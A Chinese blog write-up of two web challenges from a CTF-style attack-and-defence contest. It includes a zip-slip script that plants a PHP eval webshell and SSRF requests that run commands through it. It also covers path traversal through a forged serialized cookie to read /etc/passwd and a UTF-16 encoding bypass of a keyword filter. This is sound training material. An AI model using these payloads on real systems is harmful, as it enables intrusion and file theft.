第三届长城杯半决赛-AWDP-部分WEB解

上午的 AWDP 就修了一个,一个也没打通 :(

复现网址:https://gz.imxbt.cn/games/36/challenges#

easy_time

Fix

不会修…

Break

开始是一个登录界面,可以弱口令登录,密码是secret

image-20260324185439923

或者根据源码index.py里可以看到,admin的密码是硬编码的,是经过了两次MD5加密,并且这里如果登录成功,就会设置Cookie中visited=yesuser为登录用户名,这要设置一下这俩就可以伪造Cookie未授权登录了

image-20260324185609858

image-20260324185905217

docker-compose.yaml中可以看到靶机内部存在80端口,在Dockerfile中可以看到存放的是html中的三个文件,这就可以想到找SSRF去打这个端口

image-20260324190509950

访问/about路由可以找到可能存在SSRF的地方

image-20260324190728478

去源码中看,可以 POST 传参avatar_url,这个参数是可控的

image-20260324191200616

然后在下面的这里会调用fetch_remote_avatar_info(current['avatar_url'])

image-20260324191327428

这里的fetch_remote_avatar_info()函数就是可以打SSRF,限制只能使用httphttps协议

image-20260324191459186

所以可以构造如下请求包:

1
2
3
4
5
6
7
POST /about HTTP/1.1
Host: challenge.imxbt.cn:31418
Cookie: visited=yes; user=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

avatar_url=http://127.0.0.1/phpinfo.php

image-20260324191655985

很显然是成功了的,但是源码中放在html目录下的三个文件都没什么用,但是在后台页面中可以看到有上传插件的功能

image-20260324191815625

是支持上传压缩包并解压缩的,所以如果我构造好一个压缩包上传,如果能存在目录穿越之类的漏洞,我就可以将解压的文件传到html目录下,然后就能通过上面的SSRF从而可以实现RCE

image-20260324191825560

去看源码,是会调用safe_upload()这个函数实现上传的

image-20260324192220161

再去看safe_upload()这个函数,发现是直接使用的info.filename,这是可控的,os.path.join只会做字符串拼接,不会过滤目录穿越需要的字符

image-20260324192315029

所以只要将上传的压缩包中的文件名修改为../../../../../../var/www/html/shell.php,就可以通过目录穿越,将构造的恶意文件上传到html目录下,因为windows中命名文件不允许写/,所以这里可以利用脚本来生成压缩包:

1
2
3
4
5
import zipfile

with zipfile.ZipFile("shell.zip", "w") as zipf:
zipf.writestr("../../../../../../var/www/html/shell.php", "<?php eval($_GET['shell']);?>")

运行脚本生成shell.zip文件,然后直接上传即可

image-20260324192832942

此时就可以通过SSRF去访问shell.php文件并进行RCE

1
2
3
4
5
6
7
POST /about HTTP/1.1
Host: challenge.imxbt.cn:31418
Cookie: visited=yes; user=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

avatar_url=http://127.0.0.1/shell.php?shell=system('id');

image-20260324192925949

flag在/tmp/flag,还有要注意的是这里不能使用空格,不然命令不会执行成功,可以随便找个绕过空格的方法即可,我用的${IFS}

1
2
3
4
5
6
7
POST /about HTTP/1.1
Host: challenge.imxbt.cn:31418
Cookie: visited=yes; user=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

avatar_url=http://127.0.0.1/shell.php?shell=system('cat${IFS}/tmp/flag');

image-20260324193120304

MediaDrive

这一题是当时唯一修好的一个,但是没打

Fix

先随便上传个文件

image-20260324193400491

然后抓包看看,这里抓的preview的包,会发现Cookie中是一段URL编码的序列化数据,其中有个basePath属性是指定的文件路径,然后我就想到这里是不是可以通过修改这个值从而进行目录穿越

image-20260324193524565

然后我就去看源码了

image-20260324195622764

preview.php中,通过file_get_contents()函数来读文件内容的

image-20260324194039130

这里传入的$convertedPath是对$rawPath经过编码转换后的

image-20260324194313200

$rawPath就是$user->basePath$f的拼接结果,这里是最重要的,意味着之前的想法是可能实现的

image-20260324194331771

并且过滤了一些字符串,也不能大小写绕过

image-20260324195717419

这里basePath就是从Cookie中提取的basePath属性的值,$f是通过 GET 方式传入的f参数

image-20260324195806407

这里尝试一下,将basePath修改为空,注意要进行URL编码,然后f改为/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
GET /preview.php?f=/etc/passwd HTTP/1.1
Host: challenge.imxbt.cn:32349
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.imxbt.cn:32349/
Accept-Encoding: gzip, deflate, br
Cookie: visited=yes; user=O%3a4%3a"User"%3a3%3a{s%3a4%3a"name"%3bs%3a5%3a"guest"%3bs%3a8%3a"encoding"%3bs%3a5%3a"UTF-8"%3bs%3a8%3a"basePath"%3bs%3a0%3a""%3b}
Connection: keep-alive


没问题,想法可行,确实存在漏洞

image-20260324202321726

至于另一个download.php中是没有使用basePath,而是用的写死的/var/www/html/uploads,也就不存在漏洞

image-20260324200300183

到了这里我就想到了修,是不是可以直接将preview.php中的像download.php中的一样写死路径,就可以check成功了,事实证明是可以的

image-20260324200529019

Break

然后是打,直接读根目录下的flag是不行的,因为过滤了flag关键词,也不能大小写绕过,当时想到了利用编码转换来进行绕过,因为这题存在编码转换的功能的,但是当时没看到源码中的,一直以为是下面这里

image-20260324202622475

关键是下面这部分,可以将Cookie中的user的编码转化为UTF-8编码

image-20260324201024177

所以只要将/flag转化为其他编码,比如UTF-16就可以绕过了,因为会有些不可见字符,所以URL编码一下,转换脚本:

1
2
3
4
5
6
7
<?php
$f = "/flag";
$convertedPath = iconv("UTF-8", "UTF-16", $f);
echo urlencode($convertedPath);
?>

# 运行结果:%FE%FF%00%2F%00f%00l%00a%00g

还有就是Cookie中的也编码为UTF-16,可以根据lib目录下的User.php内容修改

image-20260324202856392

脚本:

1
2
3
4
5
6
7
8
9
10
11
<?php
class User {
public $name = "admin";
public $encoding = "UTF-16";
public $basePath = "";
}

echo urlencode(serialize(new User()));
?>

# 运行结果:O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22encoding%22%3Bs%3A6%3A%22UTF-16%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D

构造的请求包:

1
2
3
4
5
6
7
8
9
10
11
12
GET /preview.php?f=%FE%FF%00%2F%00f%00l%00a%00g HTTP/1.1
Host: challenge.imxbt.cn:32349
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.imxbt.cn:32349/
Accept-Encoding: gzip, deflate, br
Cookie: visited=yes; user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22encoding%22%3Bs%3A6%3A%22UTF-16%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D
Connection: keep-alive


成功绕过获取flag

image-20260324202943000


第三届长城杯半决赛-AWDP-部分WEB解
https://yschen20.github.io/2026/03/24/第三届长城杯半决赛-AWDP-部分WEB解/
作者
Suzen
发布于
2026年3月24日
更新于
2026年3月24日
许可协议